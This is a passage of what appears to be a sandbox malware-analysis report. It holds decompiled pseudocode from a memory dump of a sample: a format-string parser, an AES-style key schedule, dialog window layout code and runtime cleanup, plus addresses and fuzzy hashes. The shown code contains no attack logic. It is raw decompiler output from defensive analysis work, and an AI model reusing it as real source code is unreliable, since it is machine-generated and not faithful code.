																	E00878CFC(_t119 + 0x448, 0x30, _t95, _t116);
																	_t122 = _t122 + 0x10;
																}
															}
															E0087A5E9(_t119, _t113, 0);
															__eflags =  *_t116;
															if( *_t116 >= 0) {
																_t71 =  *(_t119 + 0x20) >> 2;
																__eflags = _t71 & 0x00000001;
																if((_t71 & 0x00000001) != 0) {
																	E00878CFC(_t119 + 0x448, 0x20, _t95, _t116);
																}
															}
															_t69 = 1;
															L70:
															return _t69;
														}
														__eflags = _t100 - 0x41;
														if(_t100 == 0x41) {
															goto L59;
														}
														_t58 = 0;
														goto L60;
													}
													__eflags = _t57;
													if(_t57 == 0) {
														goto L61;
													}
													goto L56;
												}
												__eflags = _t100 - 0x41;
												if(_t100 == 0x41) {
													goto L53;
												}
												_t57 = 0;
												goto L54;
											}
											L49:
											_t92 = 0;
											__eflags = 0;
											goto L50;
										}
										__eflags = _t100 - 0x58;
										if(_t100 != 0x58) {
											goto L49;
										}
										goto L48;
									}
									_t80 = _t113 >> 6;
									__eflags = _t92 & _t80;
									if((_t92 & _t80) == 0) {
										__eflags = _t92 & _t113;
										if((_t92 & _t113) == 0) {
											_t82 = _t113 >> 1;
											__eflags = _t92 & _t82;
											if((_t92 & _t82) == 0) {
												goto L46;
											}
											_v8 = 0x20;
											L45:
											_t115 = _t92;
											goto L46;
										}
										_v8 = 0x2b;
										goto L45;
									}
									_v8 = 0x2d;
									goto L45;
								}
								_t69 = _t92;
								goto L70;
							}
							L11:
							_t69 = 0;
							goto L70;
						}
						_t84 = _t50;
						__eflags = _t84;
						if(__eflags == 0) {
							L28:
							_push(0);
							_push(0xa);
							L29:
							_t51 = E0087A22B(_t119, _t114, __eflags);
							goto L10;
						}
						__eflags = _t84 - 3;
						if(__eflags != 0) {
							goto L11;
						}
						_push(0);
						L13:
						_push(0x10);
						goto L29;
					}
					if(__eflags == 0) {
						_t51 = E0087A408(__ecx);
						goto L10;
					}
					__eflags = _t49 - 0x67;
					if(_t49 <= 0x67) {
						L30:
						_t51 = E00879E37(_t92, _t119, _t112);
						goto L10;
					}
					__eflags = _t49 - 0x69;
					if(_t49 == 0x69) {
						L27:
						_t2 = _t119 + 0x20;
						 *_t2 =  *(_t119 + 0x20) | 0x00000010;
						__eflags =  *_t2;
						goto L28;
					}
					__eflags = _t49 - 0x6e;
					if(_t49 == 0x6e) {
						_t51 = E0087A375(__ecx, _t112);
						goto L10;
					}
					__eflags = _t49 - 0x6f;
					if(_t49 != 0x6f) {
						goto L11;
					}
					_t51 = E0087A3E9(__ecx);
					goto L10;
				}
				if(_t124 == 0) {
					goto L27;
				}
				_t125 = _t49 - 0x58;
				if(_t125 > 0) {
					_t86 = _t49 - 0x5a;
					__eflags = _t86;
					if(_t86 == 0) {
						_t51 = E00879D71(__ecx);
						goto L10;
					}
					_t87 = _t86 - 7;
					__eflags = _t87;
					if(_t87 == 0) {
						goto L30;
					}
					__eflags = _t87;
					if(__eflags != 0) {
						goto L11;
					}
					L17:
					_t51 = E0087A103(_t92, _t119, __eflags, 0);
					goto L10;
				}
				if(_t125 == 0) {
					_push(1);
					goto L13;
				}
				if(_t49 == 0x41) {
					goto L30;
				}
				if(_t49 == 0x43) {
					goto L17;
				}
				if(_t49 <= 0x44) {
					goto L11;
				}
				if(_t49 <= 0x47) {
					goto L30;
				}
				if(_t49 != 0x53) {
					goto L11;
				}
				goto L9;
			}

0x00879837
0x0087983a
0x0087983e
0x00879841
0x00879845
0x00879848
0x008798b6
0x008798b9
0x00879908
0x00879908
0x0087990b
0x00879878
0x0087987a
0x0087987f
0x00879881
0x00879926
0x0087992a
0x00879933
0x00879938
0x00879939
0x0087993d
0x0087993f
0x00879944
0x00879947
0x00879949
0x00879972
0x00879972
0x00879975
0x00879978
0x0087997f
0x00879981
0x00879984
0x00879986
0x0087998a
0x0087998a
0x0087998d
0x00879998
0x00879998
0x0087999a
0x0087999a
0x0087999c
0x008799a2
0x008799a2
0x008799a7
0x008799aa
0x008799b5
0x008799b5
0x008799b7
0x008799b7
0x008799c2
0x008799c6
0x008799c6
0x008799c9
0x008799cf
0x008799d1
0x008799d4
0x008799e4
0x008799e9
0x008799e9
0x008799fe
0x00879a03
0x00879a06
0x00879a0b
0x00879a0e
0x00879a10
0x00879a12
0x00879a15
0x00879a18
0x00879a25
0x00879a2a
0x00879a2a
0x00879a18
0x00879a31
0x00879a36
0x00879a39
0x00879a3e
0x00879a41
0x00879a43
0x00879a50
0x00879a55
0x00879a43
0x00879a58
0x00879a5b
0x00879a60
0x00879a60
0x008799ac
0x008799af
0x00000000
0x00000000
0x008799b1
0x00000000
0x008799b1
0x0087999e
0x008799a0
0x00000000
0x00000000
0x00000000
0x008799a0
0x0087998f
0x00879992
0x00000000
0x00000000
0x00879994
0x00000000
0x00879994
0x00879988
0x00879988
0x00879988
0x00000000
0x00879988
0x0087997a
0x0087997d
0x00000000
0x00000000
0x00000000
0x0087997d
0x0087994d
0x00879950
0x00879952
0x0087995a
0x0087995c
0x00879966
0x00879968
0x0087996a
0x00000000
0x00000000
0x0087996c
0x00879970
0x00879970
0x00000000
0x00879970
0x0087995e
0x00000000
0x0087995e
0x00879954
0x00000000
0x00879954
0x0087992c
0x00000000
0x0087992c
0x00879887
0x00879887
0x00000000
0x00879887
0x00879912
0x00879912
0x00879915
0x008798e7
0x008798e7
0x008798e8
0x008798ea
0x008798ec
0x00000000
0x008798ec
0x00879917
0x0087991a
0x00000000
0x00000000
0x00879920
0x0087988f
0x0087988f
0x00000000
0x0087988f
0x008798bb
0x008798fe
0x00000000
0x008798fe
0x008798bd
0x008798c0
0x008798f3
0x008798f5
0x00000000
0x008798f5
0x008798c2
0x008798c5
0x008798e3
0x008798e3
0x008798e3
0x008798e3
0x00000000
0x008798e3
0x008798c7
0x008798ca
0x008798dc
0x00000000
0x008798dc
0x008798cc
0x008798cf
0x00000000
0x00000000
0x008798d3
0x00000000
0x008798d3
0x0087984a
0x00000000
0x00000000
0x00879850
0x00879853
0x00879893
0x00879893
0x00879896
0x008798af
0x00000000
0x008798af
0x00879898
0x00879898
0x0087989b
0x00000000
0x00000000
0x0087989e
0x008798a1
0x00000000
0x00000000
0x008798a3
0x008798a6
0x00000000
0x008798a6
0x00879855
0x0087988e
0x00000000
0x0087988e
0x0087985a
0x00000000
0x00000000
0x00879863
0x00000000
0x00000000
0x00879868
0x00000000
0x00000000
0x0087986d
0x00000000
0x00000000
0x00879876
0x00000000
0x00000000
0x00000000

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5deea3b29f66a918188f7a75532971316276c2599c24e1ebb0fa75850081f94e
Instruction ID: 7e6838830dd325a28699029a3b34b7b42d6b170732c5e56ceaf9e68042fdd105
Opcode Fuzzy Hash: 5deea3b29f66a918188f7a75532971316276c2599c24e1ebb0fa75850081f94e
Instruction Fuzzy Hash: 3651AC7160074856EB3885AC8496BFE6B95FB93344F08C92ED9CFC729EC625DD428363

Uniqueness

Uniqueness Score: -1.00%

Function 008655B8 Relevance: .2, Instructions: 161
COMMONCrypto

Download Yara Rule

C-Code - Quality: 97%

			E008655B8(intOrPtr __ecx, char _a4) {
				char _v12;
				signed int _v13;
				signed int _v14;
				signed int _v15;
				signed int _v16;
				signed char _v17;
				signed char _v18;
				signed char _v19;
				signed char _v20;
				char _v28;
				signed int _v29;
				signed int _v30;
				signed int _v31;
				signed int _v32;
				signed int* _v36;
				signed int _v40;
				char _v44;
				intOrPtr _v48;
				signed int _t94;
				signed int _t113;
				signed int _t116;
				signed int _t117;
				signed char _t120;
				signed int* _t121;
				signed int* _t122;
				signed int _t123;
				signed int* _t124;
				signed int _t125;
				signed int _t126;
				signed int _t127;
				signed int* _t128;
				void* _t130;
				signed int _t131;
				void* _t132;
				signed int _t134;
				signed int* _t139;
				signed int* _t142;
				void* _t145;
				void* _t167;

				_t134 = _a4 - 6;
				_v48 = __ecx;
				_v40 = _t134;
				_t94 = E00875220( &_v32, _a4, 0x20);
				_t145 =  &_v48 + 0xc;
				_t117 = 0;
				_t126 = 0;
				_t127 = 0;
				if(_t134 <= 0) {
					L10:
					if(_t117 <= _a4) {
						_t128 = 0x893108;
						do {
							_t120 = _v32 ^  *(( *(_t145 + 0x1d + _t134 * 4) & 0x000000ff) + 0x893008);
							_v32 = _t120;
							_v31 = _v31 ^  *(( *(_t145 + 0x1e + _t134 * 4) & 0x000000ff) + 0x893008);
							_v30 = _v30 ^  *(( *(_t145 + 0x1f + _t134 * 4) & 0x000000ff) + 0x893008);
							_v29 = _v29 ^  *(( *(_t145 + 0x1c + _t134 * 4) & 0x000000ff) + 0x893008);
							_t94 =  *_t128 ^ _t120;
							_v32 = _t94;
							_v36 =  &(_t128[0]);
							if(_t134 == 8) {
								_t121 =  &_v28;
								_v44 = 3;
								do {
									_t130 = 4;
									do {
										 *_t121 =  *_t121 ^  *(_t121 - 4);
										_t121 =  &(_t121[0]);
										_t130 = _t130 - 1;
									} while (_t130 != 0);
									_t55 =  &_v44;
									 *_t55 = _v44 - 1;
								} while ( *_t55 != 0);
								_t122 =  &_v12;
								_v44 = 3;
								_v16 = _v16 ^  *((_v20 & 0x000000ff) + 0x893008);
								_v15 = _v15 ^  *((_v19 & 0x000000ff) + 0x893008);
								_v14 = _v14 ^  *((_v18 & 0x000000ff) + 0x893008);
								_v13 = _v13 ^  *((_v17 & 0x000000ff) + 0x893008);
								do {
									_t131 = 4;
									do {
										_t94 =  *((intOrPtr*)(_t122 - 4));
										 *_t122 =  *_t122 ^ _t94;
										_t122 =  &(_t122[0]);
										_t131 = _t131 - 1;
									} while (_t131 != 0);
									_t76 =  &_v44;
									 *_t76 = _v44 - 1;
								} while ( *_t76 != 0);
								goto L28;
							} else {
								if(_t134 > 1) {
									_t46 = _t134 - 1; // 0x3
									_t124 =  &_v28;
									_v44 = _t46;
									do {
										_t132 = 4;
										do {
											_t94 =  *((intOrPtr*)(_t124 - 4));
											 *_t124 =  *_t124 ^ _t94;
											_t124 =  &(_t124[0]);
											_t132 = _t132 - 1;
										} while (_t132 != 0);
										_t50 =  &_v44;
										 *_t50 = _v44 - 1;
									} while ( *_t50 != 0);
								}
								_t131 = 0;
								if(_t134 <= 0) {
									L37:
									_t167 = _t117 - _a4;
								} else {
									L28:
									while(_t117 <= _a4) {
										if(_t131 < _t134) {
											_t139 =  &(( &_v32)[_t131]);
											while(_t126 < 4) {
												_t123 = _t126 + _t117 * 4;
												_t113 =  *_t139;
												_t131 = _t131 + 1;
												_t139 =  &_a4;
												_t126 = _t126 + 1;
												 *(_v48 + 0x18 + _t123 * 4) = _t113;
												_t134 = _v40;
												if(_t131 < _t134) {
													continue;
												}
												break;
											}
										}
										if(_t126 == 4) {
											_t117 = _t117 + 1;
										}
										_t90 = _t126 - 4; // -4
										_t94 =  ~_t90;
										asm("sbb eax, eax");
										_t126 = _t126 & _t94;
										if(_t131 < _t134) {
											continue;
										} else {
											goto L37;
										}
										goto L38;
									}
								}
							}
							L38:
							_t128 = _v36;
						} while (_t167 <= 0);
					}
				} else {
					while(_t117 <= _a4) {
						if(_t127 < _t134) {
							_t142 =  &(( &_v32)[_t127]);
							while(_t126 < 4) {
								_t125 = _t126 + _t117 * 4;
								_t116 =  *_t142;
								_t127 = _t127 + 1;
								_t142 =  &_a4;
								_t126 = _t126 + 1;
								 *(_v48 + 0x18 + _t125 * 4) = _t116;
								_t134 = _v40;
								if(_t127 < _t134) {
									continue;
								}
								break;
							}
						}
						if(_t126 == 4) {
							_t117 = _t117 + 1;
						}
						_t18 = _t126 - 4; // -4
						_t94 =  ~_t18;
						asm("sbb eax, eax");
						_t126 = _t126 & _t94;
						if(_t127 < _t134) {
							continue;
						} else {
							goto L10;
						}
						goto L39;
					}
				}
				L39:
				return _t94;
			}

0x008655ce
0x008655d1
0x008655d6
0x008655da
0x008655df
0x008655e2
0x008655e4
0x008655e6
0x008655ea
0x00865638
0x0086563b
0x00865641
0x00865646
0x0086564f
0x00865655
0x00865664
0x00865673
0x00865682
0x00865688
0x0086568b
0x0086568f
0x00865696
0x008656c9
0x008656cd
0x008656d5
0x008656d7
0x008656d8
0x008656db
0x008656dd
0x008656de
0x008656de
0x008656e3
0x008656e3
0x008656e3
0x008656ef
0x008656f3
0x00865701
0x00865710
0x0086571f
0x0086572e
0x00865732
0x00865734
0x00865735
0x00865735
0x00865738
0x0086573a
0x0086573b
0x0086573b
0x00865740
0x00865740
0x00865740
0x00000000
0x00865698
0x0086569b
0x0086569d
0x008656a0
0x008656a4
0x008656a8
0x008656aa
0x008656ab
0x008656ab
0x008656ae
0x008656b0
0x008656b1
0x008656b1
0x008656b6
0x008656b6
0x008656b6
0x008656a8
0x008656bd
0x008656c1
0x0086578f
0x0086578f
0x008656c7
0x00000000
0x00865747
0x0086574e
0x00865754
0x00865758
0x00865761
0x00865764
0x00865767
0x00865768
0x0086576b
0x0086576c
0x00865770
0x00865776
0x00000000
0x00000000
0x00000000
0x00865776
0x00865778
0x0086577f
0x00865781
0x00865781
0x00865782
0x00865785
0x00865787
0x00865789
0x0086578d
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0086578d
0x00865747
0x008656c1
0x00865792
0x00865792
0x00865792
0x00865646
0x00000000
0x008655ec
0x008655f7
0x008655fd
0x00865601
0x0086560a
0x0086560d
0x00865610
0x00865611
0x00865614
0x00865615
0x00865619
0x0086561f
0x00000000
0x00000000
0x00000000
0x0086561f
0x00865621
0x00865628
0x0086562a
0x0086562a
0x0086562b
0x0086562e
0x00865630
0x00865632
0x00865636
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00865636
0x008655ec
0x008657a3
0x008657a3

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c22b064e9dbb388b64d05ebb253a1e3fb9e4241ecd6cd080b344d0b2a642b9ba
Instruction ID: 8823ac51d70384596255cc0206d6b99c545a0309e1cf125b44f440929ff13171
Opcode Fuzzy Hash: c22b064e9dbb388b64d05ebb253a1e3fb9e4241ecd6cd080b344d0b2a642b9ba
Instruction Fuzzy Hash: 7051D1715097D58FC712DF28C5404AEBFE0FEEA718F4A099AE4D99B142C230DB49CB52

Uniqueness

Uniqueness Score: -1.00%

Function 00864948 Relevance: 26.5, APIs: 12, Strings: 3, Instructions: 234
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E00864948(struct HWND__* __ecx, void* __edx, void* __eflags, intOrPtr _a8) {
				char _v0;
				struct HWND__* _v8;
				short _v2048;
				char _v2208;
				char _v2288;
				signed int _v2292;
				char _v2300;
				intOrPtr _v2304;
				struct tagRECT _v2320;
				intOrPtr _v2324;
				intOrPtr _v2336;
				struct tagRECT _v2352;
				struct tagRECT _v2368;
				signed int _v2376;
				char _v2377;
				intOrPtr _v2384;
				intOrPtr _v2393;
				void* __ebx;
				void* __esi;
				signed int _t95;
				struct HWND__* _t106;
				signed int _t119;
				signed int _t134;
				signed int _t145;
				void* _t150;
				void* _t155;
				char _t156;
				void* _t157;
				signed int _t158;
				intOrPtr _t160;
				void* _t163;
				void* _t169;
				long _t170;
				signed int _t174;
				void* _t178;
				signed int _t179;
				signed int _t186;
				struct HWND__* _t187;
				struct HWND__* _t188;
				void* _t189;
				void* _t192;
				signed int _t193;
				long _t194;
				void* _t201;
				int* _t202;
				struct HWND__* _t203;
				void* _t205;
				void* _t206;
				void* _t208;
				void* _t210;
				void* _t214;
				signed int _t221;

				_t178 = __edx;
				_t203 = __ecx;
				_v2368.bottom = __ecx;
				E008639A9( &_v2208, 0x50, L"$%s:", _a8);
				_t208 =  &_v2368 + 0x10;
				E00867B46( &_v2208,  &_v2288, 0x50);
				_t95 = E0087A9A0( &_v2300);
				_t187 = _v8;
				_t155 = 0;
				_v2376 = _t95;
				_t210 =  *0x893600 - _t155; // 0x64
				if(_t210 <= 0) {
					L8:
					_t156 = E00863E7C(_t155, _t203, _t178, _t189, _t214, _a8,  &(_v2368.right),  &(_v2368.top));
					_v2377 = _t156;
					GetWindowRect(_t187,  &_v2352);
					GetClientRect(_t187,  &(_v2320.top));
					_t169 = _v2352.right - _v2352.left + 1;
					_t179 = _v2320.bottom;
					_t192 = _v2352.bottom - _v2352.top + 1;
					_v2368.right = 0x64;
					_t205 = _t192 - _v2304;
					_v2368.bottom = _t169 - _t179;
					if(_v0 == 0) {
						if(_t156 != 0) {
							_t158 = 0x64;
							asm("cdq");
							_t134 = _v2292 * _v2368.top;
							_t160 = _t179 * _v2368.right / _t158 + _v2352.right;
							_v2324 = _t160;
							asm("cdq");
							_t186 = _t134 % _v2352.top;
							_v2352.left = _t134 / _v2352.top + _t205;
							asm("cdq");
							asm("cdq");
							_t201 = (_t192 - _v2352.left - _t186 >> 1) + _v2336;
							_t163 = (_t169 - _t160 - _t186 >> 1) + _v2352.bottom;
							if(_t163 < 0) {
								_t163 = 0;
							}
							if(_t201 < 0) {
								_t201 = 0;
							}
							_t145 =  !(GetWindowLongW(_t187, 0xfffffff0) >> 0xa) & 0x00000002 | 0x00000204;
							_t221 = _t145;
							 *0x8c9124(_t187, 0, _t163, _t201, _v2324, _v2352.left, _t145);
							GetWindowRect(_t187,  &_v2368);
							_t156 = _v2393;
						}
						if(E00863EFC(_t156, _v2368.bottom, _t221, _a8, L"CAPTION",  &_v2048, 0x400) != 0) {
							SetWindowTextW(_t187,  &_v2048);
						}
					}
					_t206 = _t205 - GetSystemMetrics(8);
					_t106 = GetWindow(_t187, 5);
					_t188 = _t106;
					_v2368.bottom = _t188;
					if(_t156 == 0) {
						L23:
						return _t106;
					} else {
						_t157 = 0;
						while(_t188 != 0) {
							__eflags = _t157 - 0x200;
							if(_t157 >= 0x200) {
								goto L23;
							}
							GetWindowRect(_t188,  &_v2320);
							_t170 = _v2320.top.left;
							_t193 = 0x64;
							asm("cdq");
							_t194 = _v2320.left;
							asm("cdq");
							_t119 = (_t170 - _t206 - _v2336) * _v2368.top;
							asm("cdq");
							_t174 = 0x64;
							asm("cdq");
							asm("cdq");
							 *0x8c9124(_t188, 0, (_t194 - (_v2352.right - _t119 % _t174 >> 1) - _v2352.bottom) * _v2368.right / _t174, _t119 / _t174, (_v2320.right - _t194 + 1) * _v2368.right / _v2352.top, (_v2320.bottom - _t170 + 1) * _v2368.top / _t193, 0x204);
							_t106 = GetWindow(_t188, 2);
							_t188 = _t106;
							__eflags = _t188 - _v2384;
							if(_t188 == _v2384) {
								goto L23;
							}
							_t157 = _t157 + 1;
							__eflags = _t157;
						}
						goto L23;
					}
				} else {
					_t202 = 0x893154;
					do {
						if( *_t202 > 0) {
							_t9 =  &(_t202[1]); // 0x889458
							_t150 = E0087B030( &_v2288,  *_t9, _t95);
							_t208 = _t208 + 0xc;
							if(_t150 == 0) {
								_t12 =  &(_t202[1]); // 0x889458
								if(E00864050(_t155, _t203, _t202,  *_t12,  &_v2048, 0x400) != 0) {
									SetDlgItemTextW(_t187,  *_t202,  &_v2048);
								}
							}
							_t95 = _v2368.top;
						}
						_t155 = _t155 + 1;
						_t202 =  &(_t202[3]);
						_t214 = _t155 -  *0x893600; // 0x64
					} while (_t214 < 0);
					goto L8;
				}
			}

0x00864948
0x00864960
0x0086496a
0x0086496e
0x00864973
0x00864985
0x0086498f
0x00864994
0x0086499b
0x0086499e
0x008649a2
0x008649a8
0x00864a05
0x00864a1d
0x00864a25
0x00864a29
0x00864a35
0x00864a47
0x00864a4e
0x00864a52
0x00864a55
0x00864a5d
0x00864a6b
0x00864a6f
0x00864a77
0x00864a84
0x00864a87
0x00864a90
0x00864a95
0x00864a9b
0x00864a9f
0x00864aa0
0x00864aa6
0x00864ab0
0x00864ab7
0x00864ac0
0x00864ac4
0x00864ac8
0x00864aca
0x00864aca
0x00864ace
0x00864ad0
0x00864ad0
0x00864ae3
0x00864ae3
0x00864af6
0x00864b02
0x00864b08
0x00864b08
0x00864b30
0x00864b3b
0x00864b3b
0x00864b30
0x00864b4c
0x00864b4e
0x00864b54
0x00864b56
0x00864b5c
0x00864c0e
0x00864c0e
0x00864b62
0x00864b62
0x00864bfc
0x00864b69
0x00864b6f
0x00000000
0x00000000
0x00864b7b
0x00864b85
0x00864b9a
0x00864b9f
0x00864ba2
0x00864bb8
0x00864bc0
0x00864bc2
0x00864bc3
0x00864bcb
0x00864bdd
0x00864be4
0x00864bed
0x00864bf3
0x00864bf5
0x00864bf9
0x00000000
0x00000000
0x00864bfb
0x00864bfb
0x00864bfb
0x00000000
0x00864bfc
0x008649aa
0x008649aa
0x008649af
0x008649b2
0x008649b5
0x008649bd
0x008649c2
0x008649c7
0x008649d8
0x008649e2
0x008649ef
0x008649ef
0x008649e2
0x008649f5
0x008649f5
0x008649f9
0x008649fa
0x008649fd
0x008649fd
0x00000000
0x008649af

APIs

_swprintf.LIBCMT ref: 0086496E

Part of subcall function 008639A9: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 008639BC

Part of subcall function 00867B46: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,0086498A,?,00000000,00000000,?,?,?,0086498A,?,?,00000050), ref: 00867B63

_strlen.LIBCMT ref: 0086498F
SetDlgItemTextW.USER32(?,00893154,?), ref: 008649EF
GetWindowRect.USER32(?,?), ref: 00864A29
GetClientRect.USER32(?,?), ref: 00864A35
GetWindowLongW.USER32(?,000000F0), ref: 00864AD5
GetWindowRect.USER32(?,?), ref: 00864B02
SetWindowTextW.USER32(?,?), ref: 00864B3B
GetSystemMetrics.USER32(00000008), ref: 00864B43
GetWindow.USER32(?,00000005), ref: 00864B4E
GetWindowRect.USER32(00000000,?), ref: 00864B7B
GetWindow.USER32(00000000,00000002), ref: 00864BED

Strings

$%s:, xrefs: 00864962
d, xrefs: 00864A55
CAPTION, xrefs: 00864B1D

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: Window$Rect$Text$ByteCharClientItemLongMetricsMultiSystemWide__vswprintf_c_l_strlen_swprintf
String ID: $%s:$CAPTION$d
API String ID: 2407758923-2512411981
Opcode ID: 3c2261e2e11a4354a1881e762d2f90aa67c7a108a5255c3a7b6836c1f931e479
Instruction ID: e4ed88830bad958b8fbf1fefd275cd5f907c5c75ced4bf9ed3cfaa3b77cbcc06
Opcode Fuzzy Hash: 3c2261e2e11a4354a1881e762d2f90aa67c7a108a5255c3a7b6836c1f931e479
Instruction Fuzzy Hash: D781AD72208301AFD710DFA8CD89E6FBBE9FB88714F05191DFA84E3291D675E9058B52

Uniqueness

Uniqueness Score: -1.00%

Function 008814A2 Relevance: 19.6, APIs: 13, Instructions: 114
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E008814A2(intOrPtr _a4) {
				intOrPtr _v8;
				intOrPtr _t25;
				intOrPtr* _t26;
				intOrPtr _t28;
				intOrPtr* _t29;
				intOrPtr* _t31;
				intOrPtr* _t45;
				intOrPtr* _t46;
				intOrPtr* _t47;
				intOrPtr* _t55;
				intOrPtr* _t70;
				intOrPtr _t74;

				_t74 = _a4;
				_t25 =  *((intOrPtr*)(_t74 + 0x88));
				if(_t25 != 0 && _t25 != 0x893d70) {
					_t45 =  *((intOrPtr*)(_t74 + 0x7c));
					if(_t45 != 0 &&  *_t45 == 0) {
						_t46 =  *((intOrPtr*)(_t74 + 0x84));
						if(_t46 != 0 &&  *_t46 == 0) {
							E0087D758(_t46);
							E00881081( *((intOrPtr*)(_t74 + 0x88)));
						}
						_t47 =  *((intOrPtr*)(_t74 + 0x80));
						if(_t47 != 0 &&  *_t47 == 0) {
							E0087D758(_t47);
							E0088117F( *((intOrPtr*)(_t74 + 0x88)));
						}
						E0087D758( *((intOrPtr*)(_t74 + 0x7c)));
						E0087D758( *((intOrPtr*)(_t74 + 0x88)));
					}
				}
				_t26 =  *((intOrPtr*)(_t74 + 0x8c));
				if(_t26 != 0 &&  *_t26 == 0) {
					E0087D758( *((intOrPtr*)(_t74 + 0x90)) - 0xfe);
					E0087D758( *((intOrPtr*)(_t74 + 0x94)) - 0x80);
					E0087D758( *((intOrPtr*)(_t74 + 0x98)) - 0x80);
					E0087D758( *((intOrPtr*)(_t74 + 0x8c)));
				}
				E00881615( *((intOrPtr*)(_t74 + 0x9c)));
				_t28 = 6;
				_t55 = _t74 + 0xa0;
				_v8 = _t28;
				_t70 = _t74 + 0x28;
				do {
					if( *((intOrPtr*)(_t70 - 8)) != 0x893838) {
						_t31 =  *_t70;
						if(_t31 != 0 &&  *_t31 == 0) {
							E0087D758(_t31);
							E0087D758( *_t55);
						}
						_t28 = _v8;
					}
					if( *((intOrPtr*)(_t70 - 0xc)) != 0) {
						_t29 =  *((intOrPtr*)(_t70 - 4));
						if(_t29 != 0 &&  *_t29 == 0) {
							E0087D758(_t29);
						}
						_t28 = _v8;
					}
					_t55 = _t55 + 4;
					_t70 = _t70 + 0x10;
					_t28 = _t28 - 1;
					_v8 = _t28;
				} while (_t28 != 0);
				return E0087D758(_t74);
			}

0x008814aa
0x008814ae
0x008814b6
0x008814bf
0x008814c4
0x008814cb
0x008814d3
0x008814db
0x008814e6
0x008814ec
0x008814ed
0x008814f5
0x008814fd
0x00881508
0x0088150e
0x00881512
0x0088151d
0x00881523
0x008814c4
0x00881524
0x0088152c
0x0088153f
0x00881552
0x00881560
0x0088156b
0x00881570
0x00881579
0x00881581
0x00881582
0x00881588
0x0088158b
0x0088158e
0x00881595
0x00881597
0x0088159b
0x008815a3
0x008815aa
0x008815b0
0x008815b1
0x008815b1
0x008815b8
0x008815ba
0x008815bf
0x008815c7
0x008815cc
0x008815cd
0x008815cd
0x008815d0
0x008815d3
0x008815d6
0x008815d9
0x008815d9
0x008815eb

APIs

___free_lconv_mon.LIBCMT ref: 008814E6

Part of subcall function 00881081: _free.LIBCMT ref: 0088109E
Part of subcall function 00881081: _free.LIBCMT ref: 008810B0
Part of subcall function 00881081: _free.LIBCMT ref: 008810C2
Part of subcall function 00881081: _free.LIBCMT ref: 008810D4
Part of subcall function 00881081: _free.LIBCMT ref: 008810E6
Part of subcall function 00881081: _free.LIBCMT ref: 008810F8
Part of subcall function 00881081: _free.LIBCMT ref: 0088110A
Part of subcall function 00881081: _free.LIBCMT ref: 0088111C
Part of subcall function 00881081: _free.LIBCMT ref: 0088112E
Part of subcall function 00881081: _free.LIBCMT ref: 00881140
Part of subcall function 00881081: _free.LIBCMT ref: 00881152
Part of subcall function 00881081: _free.LIBCMT ref: 00881164
Part of subcall function 00881081: _free.LIBCMT ref: 00881176

_free.LIBCMT ref: 008814DB

